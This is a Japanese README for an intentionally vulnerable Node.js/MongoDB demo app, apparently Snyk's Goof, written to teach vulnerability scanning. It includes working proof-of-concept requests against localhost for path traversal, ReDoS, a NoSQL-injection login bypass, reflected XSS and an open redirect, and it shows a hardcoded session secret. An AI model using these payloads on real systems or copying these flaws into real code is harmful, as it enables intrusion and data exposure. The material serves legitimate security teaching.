これは、Dreamers Labチュートリアルに基づく脆弱なNode.jsデモアプリケーションです。
この脆弱なアプリは、次の機能を含んでいます:
- 既知の脆弱性を持つパッケージの使用
- システムライブラリに既知の脆弱性があるベースイメージのDockerイメージスキャン
- オープンソース依存関係で脆弱な関数の呼び出しを検出するランタイムアラート
mongod &
npm install
npm startこれはGoofをローカルで実行し、デフォルトポートでローカルMongoDBを使用して、ポート3001(http://localhost:3001)でリッスンします。
注意: 一部の古いライブラリのデータベースサーバAPIのため、古いMongoDBバージョンを使用する必要があります。MongoDB 3は正常に動作することが確認されています。
また、以下のようにMongoDBサーバをDockerで個別に実行できます:
docker run --rm -p 27017:27017 mongo:3docker-compose up --build
docker-compose downDBから現在のTODOアイテムのリストを一括削除するには、以下を実行します:
npm run cleanupこのアプリは、既知の脆弱性を含むnpm依存関係と、コードレベルの脆弱性を引き起こす不安定なコードを使用しています。
exploits/ディレクトリには、各脆弱性を示す手順が含まれています。
以下の脆弱なパッケージがあります:
- Mongoose - バッファメモリ露出 - バージョン<=Node.js 8。デモ目的で、Dockerfileの
nodeベースイメージをFROM node:6-stretchに更新できます。 - st - ディレクトリトラバーサル
- ms - ReDoS
- marked - XSS
- オープンリダイレクト
- NoSQLインジェクション
- コードインジェクション
- コマンド実行
- クロスサイトスクリプティング(XSS)
- コード内のハードコードされた値による情報漏洩
- サーバ情報の露出によるセキュリティミスコンフィギュレーション
- 不安全なプロトコル(HTTP)通信
/account_detailsページはHandlebarsビューとしてレンダリングされます。
このビューは、アカウント詳細を表示するGETリクエストと、アカウント詳細を更新するPOSTリクエストの両方で使用されます。いわゆるサーバーサイドレンダリングです。
フォームは完全に機能します。動作としては、req.bodyからプロファイル情報を受け取り、そのままテンプレートに渡します。これにより、攻撃者はリクエストから直接テンプレートライブラリに流れる変数を制御できることになります。
最悪の事態は起こらないと思うかもしれませんが、バリデーションが期待される入力を確認するために使われているにも関わらず、新たにオブジェクトに追加できるフィールド(例えばlayout)を考慮していません。これをテンプレート言語に渡すと、ローカルファイルインクルージョン(パストラバーサル)脆弱性を引き起こす可能性があります。以下はその証明です:
curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"username": "admin@snyk.io", "password": "SuperSecretPassword"}' 'http://localhost:3001/login'curl -X 'POST' --cookie c.txt --cookie-jar c.txt -H 'Content-Type: application/json' --data-binary '{"email": "admin@snyk.io", "firstname": "admin", "lastname": "admin", "country": "IL", "phone": "+972551234123", "layout": "./../package.json"}' 'http://localhost:3001/account_details'実際、このコードにはもう一つ脆弱性があります。
私たちが使用しているvalidatorライブラリには、いくつかの既知の正規表現によるサービス拒否(DoS)脆弱性があります。その一つは、メールアドレスの正規表現に関連しており、{allow_display_name: true}オプションで検証すると、このルートでサービス拒否を引き起こす可能性があります:
curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"`seq -s "" -f "<" 100000`\"}" 'http://localhost:3001/account_details'validator.rtrim() サニタイザーも脆弱で、これを利用して同様のサービス拒否攻撃を作成できます:
curl -X 'POST' -H 'Content-Type: application/json' --data-binary "{\"email\": \"someone@example.com\", \"country\": \"nop\", \"phone\": \"0501234123\", \"lastname\": \"nop\", \"firstname\": \"`node -e 'console.log(" ".repeat(100000) + "!")'`\"}" 'http://localhost:3001/account_details'/login へのPOSTリクエストは、システムに管理者ユーザーとして認証し、サインインすることを可能にします。これにより、loginHandlerがroutes/index.jsのコントローラーとして公開され、MongoDBデータベースとUser.find()クエリを使用してユーザーの詳細(メールアドレスとパスワード)を検索します。問題の一つは、パスワードが平文で保存され、ハッシュ化されていないことです。しかし、ここには他にも問題があります。
誤ったパスワードでリクエストを送信して、失敗する様子を確認できます。
echo '{"username":"admin@snyk.io", "password":"WrongPassword"}' | http --json $GOOF_HOST/login -vそして、次のJSONリクエストを使って管理者ユーザーとしてサインインするリクエストは、期待通りに動作します。
echo '{"username":"admin@snyk.io", "password":"SuperSecretPassword"}' | http --json $GOOF_HOST/login -vしかし、パスワードが文字列ではなくオブジェクトだった場合はどうでしょうか?オブジェクトが有害または問題として考えられる理由は何でしょうか? 次のリクエストを考えてみてください:
echo '{"username": "admin@snyk.io", "password": {"$gt": ""}}' | http --json $GOOF_HOST/login -v私たちはユーザー名を知っており、何らかのオブジェクトのように見えるものを渡します。
そのオブジェクト構造はそのまま password プロパティに渡され、MongoDBに特定の意味を持ちます - それは $gt 演算子を使用して「空文字列より大きい」という意味になります。したがって、実際には、空文字列より大きいパスワードを持つレコードを照合するようMongoDBに指示しており、これがNoSQLインジェクションベクターを引き起こします。
/admin ビューは、管理ビュー内で次のように redirectPage クエリパスを導入します:
<input type="hidden" name="redirectPage" value="<%- redirectPage %>" />
ここでの問題は、redirectPage が生のHTMLとしてレンダリングされ、適切にエスケープされていないことです。なぜなら、<%- > が使用されており、<%= > ではないからです。このこと自体が、次のようにクロスサイトスクリプティング(XSS)脆弱性を引き起こします:
http://localhost:3001/login?redirectPage="><script>alert(1)</script>
オープンリダイレクトを悪用するには、redirectPage=https://google.com のようなURLを提供するだけで、コードが index.js:72 でローカルURLを強制しない事実を利用します。
アプリケーションは、app.js:40 で以下のようにクッキーをベースにしたセッションを初期化します:
app.use(session({
secret: 'keyboard cat',
name: 'connect.sid',
cookie: { secure: true }
}))ご覧の通り、セッションの secret はコード内にハードコードされた機密情報です。
最初の修正案として、これを設定ファイルに移動する方法があります。例えば:
module.exports = {
cookieSecret: `keyboard cat`
}その後、設定ファイルを読み込んでセッションの初期化時に使用します。 ただし、それでも秘密情報が別のファイル内に保持されており、Snyk Codeはその点を警告します。
セッション管理に関してもう1つ議論できる点は、secure: true でクッキーが設定されており、HTTPS接続でのみ送信されることですが、httpOnly フラグが true に設定されていないため、クッキーがJavaScriptからアクセス可能である点です。Snyk Codeはこの潜在的なセキュリティミス設定を強調表示します。この問題はセキュリティエラーとしてではなく、品質情報として表示されます。
Snyk Codeは、アプリケーションロジックに含まれないソースコード内のハードコードされた秘密情報も検出します。例えば、tests/ や examples/ フォルダ内にそのようなケースがあります。このアプリケーションでは tests/authentication.component.spec.js ファイルが該当します。この場合、Snyk Codeは InTest、Tests、または Mock とタグ付けされ、実際の情報漏洩ではないため、この検出を無視できます。
Dockerfile は、脆弱性を持つシステムライブラリを含む既知のベースイメージ(node:6-stretch)を使用しています。
イメージの脆弱性をスキャンするには、次のコマンドを実行します:
snyk test --docker node:6-stretch --file=DockerfileTo monitor this image and receive alerts with Snyk:
snyk monitor --docker node:6-stretch